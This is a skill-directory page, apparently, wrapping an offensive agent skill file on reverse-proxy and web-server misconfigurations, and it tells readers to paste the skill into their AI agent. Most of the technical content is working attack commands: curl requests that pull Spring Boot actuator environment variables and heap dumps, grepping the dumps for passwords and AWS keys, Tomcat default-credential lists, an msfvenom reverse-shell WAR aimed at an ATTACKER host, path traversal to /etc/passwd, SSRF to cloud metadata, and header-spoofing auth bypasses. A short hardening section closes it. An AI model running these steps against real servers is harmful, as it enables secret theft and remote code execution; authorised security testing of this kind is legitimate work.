proxy-misconfig
它能做什么
这项技能列出反向代理和 Web 服务器中的常见错误,例如不安全的路径别名和暴露的管理页面。适合审查服务器配置的安全测试人员。
适用场景
- ✓当网站运行在 nginx、Apache、Tomcat 或 IIS 之后,而你想检查其配置时。
- ✓当 Spring Boot 应用可能暴露其 actuator 端点时。
- ✓当安全审查询问管理页面或默认登录是否暴露时。
技能链接
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/proxy-misconfig/SKILL.md复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。
使用方法
最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。
可直接粘贴的消息
适用于 Claude Code、Codex 或 Cursor:在项目文件夹中运行,即可安装该技能。
下载 SKILL.md,放进智能体的技能文件夹。
可以这样问 AI
“请帮我检查,我的 Spring Boot 应用是否暴露了任何内部管理端点?”
每周 5 个新技能,1 分钟读完。
工作原理
智能体请求管理工具和代理规则中的已知路径,然后检查服务器是否返回了设置或路由等内部数据。
技术内容(原始 SKILL.md)
作者在 GitHub 上的英文原文。
Reverse Proxy Misconfigurations
1. Nginx alias traversal
Nginx alias directive (vs root) is dangerous when URL pattern is
prefix-based but alias is a directory:
location /static {
alias /var/www/static/; # trailing slash CRITICAL
}
# But buggy:
location /static {
alias /var/www/static; # NO trailing slash → path traversal possible
}
Bypass:
GET /static../etc/passwd → resolves to /var/www/static../etc/passwd → /var/www/etc/passwd (if exists)
GET /static../ → directory listing if autoindex on
2. Apache mod_rewrite SSRF
RewriteRule ^/proxy/(.*) http://$1 [P]
# Attacker:
GET /proxy/internal-host.local/admin → server makes outbound to internal
GET /proxy/169.254.169.254/latest/meta-data → AWS metadata SSRF
3. Spring Boot Actuator exposure
# Common endpoints if exposed
curl $TARGET/actuator
curl $TARGET/actuator/env # all env vars including secrets
curl $TARGET/actuator/heapdump # full memory dump (often contains tokens/passwords)
curl $TARGET/actuator/mappings # all routes
curl $TARGET/actuator/loggers # logging config
curl $TARGET/actuator/jolokia/ # JMX bridge → RCE in many configs
# Pre-2.x style
curl $TARGET/env
curl $TARGET/dump
curl $TARGET/trace
curl $TARGET/heapdump
4. Tomcat Manager
curl -u tomcat:tomcat $TARGET/manager/text/list
# Default creds:
# tomcat:tomcat, admin:admin, admin:tomcat, role1:role1
# tomcat:s3cret, manager:manager
# If logged in → upload WAR for RCE
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f war -o shell.war
curl -u admin:admin -T shell.war "$TARGET/manager/text/deploy?path=/shell"
curl "$TARGET/shell/" # triggers shell
5. IIS short-name disclosure (8.3 names)
# Probe via specific URL pattern + difference in error
curl -s -o /dev/null -w "%{http_code}\n" "$TARGET/A*~1*/"
# 400 if exists, 404 if not — leaks first chars of files/dirs
# Tool: shortscan, IIS_shortname_Scanner
6. Nginx merge_slashes off + URL encoded
GET /api//../../admin # if merge_slashes off, internal route mapping bypasses auth
GET /api/%2e%2e/admin # URL-encoded traversal
7. Header injection via X-Forwarded-*
Some apps trust X-Forwarded-For/X-Real-IP from reverse proxy and use
it for auth (admin from internal IP). If proxy doesn't strip incoming headers:
curl -H "X-Forwarded-For: 127.0.0.1" $TARGET/admin
curl -H "X-Real-IP: 10.0.0.1" $TARGET/admin
curl -H "X-Original-Forwarded-For: 192.168.1.1" $TARGET/admin
8. WebSocket Origin bypass via proxy
Proxy doesn't validate WebSocket Origin → attacker-origin can connect.
wscat -c "wss://target.com/ws" -H "Origin: https://evil.com"
9. HTTP/2 specific attacks
Some proxies have h2 → h1 downgrade bugs (smuggling). See
skills/exploit/web/smuggling.md.
10. Tools
- Nuclei templates for actuator/manager/admin discovery
- JFrog actuator scanner
- shortscan for IIS 8.3
- smuggler.py for h2 → h1
- trustedheaders for header injection
PoC pattern
# Spring Actuator
curl -s "$TARGET/actuator/env" | jq '.propertySources[] | .properties' | head
# Heap dump if accessible:
curl -s -o /tmp/heap.bin "$TARGET/actuator/heapdump"
strings /tmp/heap.bin | grep -iE 'password|token|secret|aws_access' | head
Severity
| Bug | Severity |
|---|---|
Actuator /env w/ secrets visible |
Critical 9.8 |
| Tomcat manager default-creds | Critical 9.8 (RCE) |
| Nginx alias → /etc/passwd | High 8.0 |
| Apache mod_rewrite SSRF → metadata | Critical 9.0 |
| IIS short-name disclosure | Medium 4-5 |
| X-Forwarded-For trust → admin | Critical 9.8 |
Defender
# nginx — always trailing slash on alias
location /static/ {
alias /var/www/static/;
}
# Strip X-Forwarded-* from client
real_ip_header X-Forwarded-For;
set_real_ip_from 10.0.0.0/8; # only trust internal
real_ip_recursive on;
Spring Boot:
management:
endpoints:
web:
exposure:
include: health, info # never *
endpoint:
env:
enabled: false
heapdump:
enabled: false
Cross-references
- Upstream:
skills/_corpus/payloads/Reverse Proxy Misconfigurations/+Insecure Management Interface/ - SSRF chain:
skills/exploit/web/ssrf.md - HTTP smuggling:
skills/exploit/web/smuggling.md
常见问题
actuator 风险是什么?
该技能指出,暴露的 Spring Boot actuator 端点可能显示环境设置、路由,有时甚至包括内存转储。
它涵盖 Tomcat 吗?
涵盖。它包括 Tomcat 管理页面及其默认登录。
它涵盖 IIS 吗?
涵盖。它提到了 IIS 的短文件名泄露。
详情
作者的原始描述
Reverse proxy misconfigurations — nginx alias traversal, Apache mod_rewrite SSRF, Spring Boot Actuator exposure, Tomcat manager, IIS short-name disclosure.
热度
- GitHub 星标
- 6.5k
- 排名
- #14076
- 许可证
- Apache-2.0
- 更新时间
- 2026/11/1
评论
- …